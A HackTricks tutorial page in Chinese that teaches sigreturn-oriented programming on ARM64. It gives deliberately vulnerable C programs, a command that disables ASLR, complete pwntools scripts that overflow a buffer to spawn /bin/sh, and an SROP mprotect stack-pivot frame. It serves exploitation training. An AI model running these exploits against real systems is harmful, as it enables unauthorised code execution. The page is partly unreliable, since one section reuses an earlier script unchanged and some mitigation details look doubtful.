> [!TIP]
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
Reading time: 9 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
Pwntools 示例
这个示例创建了一个易受攻击的二进制文件并对其进行利用。该二进制文件 读取到栈中 然后调用 sigreturn
:
from pwn import *
binsh = "/bin/sh"
context.clear()
context.arch = "arm64"
asm = ''
asm += 'sub sp, sp, 0x1000\n'
asm += shellcraft.read(constants.STDIN_FILENO, 'sp', 1024) #Read into the stack
asm += shellcraft.sigreturn() # Call sigreturn
asm += 'syscall: \n' #Easy symbol to use in the exploit
asm += shellcraft.syscall()
asm += 'binsh: .asciz "%s"' % binsh #To have the "/bin/sh" string in memory
binary = ELF.from_assembly(asm)
frame = SigreturnFrame()
frame.x8 = constants.SYS_execve
frame.x0 = binary.symbols['binsh']
frame.x1 = 0x00
frame.x2 = 0x00
frame.pc = binary.symbols['syscall']
p = process(binary.path)
p.send(bytes(frame))
p.interactive()
bof 示例
代码
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("mov x8, 0x8b; svc 0;");
return;
}
char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
return buffer;
}
char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}
int main(int argc, char **argv) {
char* b = gen_stack();
do_stuff(2);
return 0;
}
用以下命令编译:
clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
Exploit
该漏洞利用缓冲区溢出返回到对 sigreturn
的调用,并准备堆栈以调用 execve
,指向 /bin/sh
。
from pwn import *
p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))
stack_offset = 72
sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4 # svc #0x0
frame = SigreturnFrame()
frame.x8 = 0xdd # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00 # NULL
frame.x2 = 0x00 # NULL
frame.pc = svc_call
payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
bof 示例,无需 sigreturn
代码
#include <stdio.h>
#include <string.h>
#include <unistd.h>
char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
return buffer;
}
char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}
int main(int argc, char **argv) {
char* b = gen_stack();
return 0;
}
利用
在 vdso
部分,可以在偏移 0x7b0
找到对 sigreturn
的调用:
 (1).png)
因此,如果泄露,可以 使用这个地址来访问 sigreturn
,如果二进制文件没有加载它:
from pwn import *
p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))
stack_offset = 72
sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4 # svc #0x0
frame = SigreturnFrame()
frame.x8 = 0xdd # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00 # NULL
frame.x2 = 0x00 # NULL
frame.pc = svc_call
payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
有关 vdso 的更多信息,请查看:
要绕过 /bin/sh
的地址,您可以创建多个指向它的环境变量,更多信息请查看:
自动查找 sigreturn
gadgets (2023-2025)
在现代发行版中,sigreturn
跳板仍然由 vDSO 页面导出,但确切的偏移量可能因内核版本和构建标志(如 BTI (+branch-protection
) 或 PAC)而异。自动化其发现可以防止硬编码偏移量:
# With ROPgadget ≥ 7.4
python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn
# With rp++ ≥ 1.0.9 (arm64 support)
rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b" # 0x8b = __NR_rt_sigreturn
两个工具都理解 AArch64 编码,并将列出可以用作 SROP gadget 的候选 mov x8, 0x8b ; svc #0
序列。
注意:当二进制文件使用 BTI 编译时,每个有效间接分支目标的第一条指令是
bti c
。链接器放置的sigreturn
跳板已经包含正确的 BTI 着陆垫,因此该 gadget 可以从非特权代码中使用。
使用 ROP 链接 SROP(通过 mprotect
进行转移)
rt_sigreturn
让我们控制 所有 通用寄存器和 pstate
。在 x86 上的一个常见模式是:1) 使用 SROP 调用 mprotect
,2) 转移到包含 shell-code 的新可执行栈。相同的思路在 ARM64 上也适用:
frame = SigreturnFrame()
frame.x8 = constants.SYS_mprotect # 226
frame.x0 = 0x400000 # page-aligned stack address
frame.x1 = 0x2000 # size
frame.x2 = 7 # PROT_READ|PROT_WRITE|PROT_EXEC
frame.sp = 0x400000 + 0x100 # new pivot
frame.pc = svc_call # will re-enter kernel
在发送帧后,您可以发送一个包含原始 shell 代码的第二阶段,地址为 0x400000+0x100
。因为 AArch64 使用 PC-relative 地址,这通常比构建大型 ROP 链更方便。
内核验证、PAC 和 Shadow-Stacks
Linux 5.16 引入了对用户空间信号帧的更严格验证(提交 36f5a6c73096
)。内核现在检查:
- 当
extra_context
存在时,uc_flags
必须包含UC_FP_XSTATE
。 struct rt_sigframe
中的保留字必须为零。- extra_context 记录中的每个指针都必须对齐并指向用户地址空间内。
pwntools>=4.10
会自动生成合规的帧,但如果您手动构建,请确保将 reserved 初始化为零,并在不需要的情况下省略 SVE 记录——否则 rt_sigreturn
将返回 SIGSEGV
而不是返回。
从主流 Android 14 和 Fedora 38 开始,用户空间默认编译时启用 PAC (Pointer Authentication) 和 BTI(-mbranch-protection=standard
)。 SROP 本身不受影响,因为内核直接从构建的帧中覆盖 PC
,绕过保存在栈上的经过认证的 LR;然而,任何 后续 ROP 链 执行间接分支时必须跳转到启用 BTI 的指令或 PAC 地址。在选择小工具时请记住这一点。
在 ARMv8.9 中引入的 Shadow-Call-Stacks(并且在 ChromeOS 1.27+ 上已启用)是一种编译器级的缓解措施,并且 不 干扰 SROP,因为没有执行返回指令——控制流由内核转移。
参考文献
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。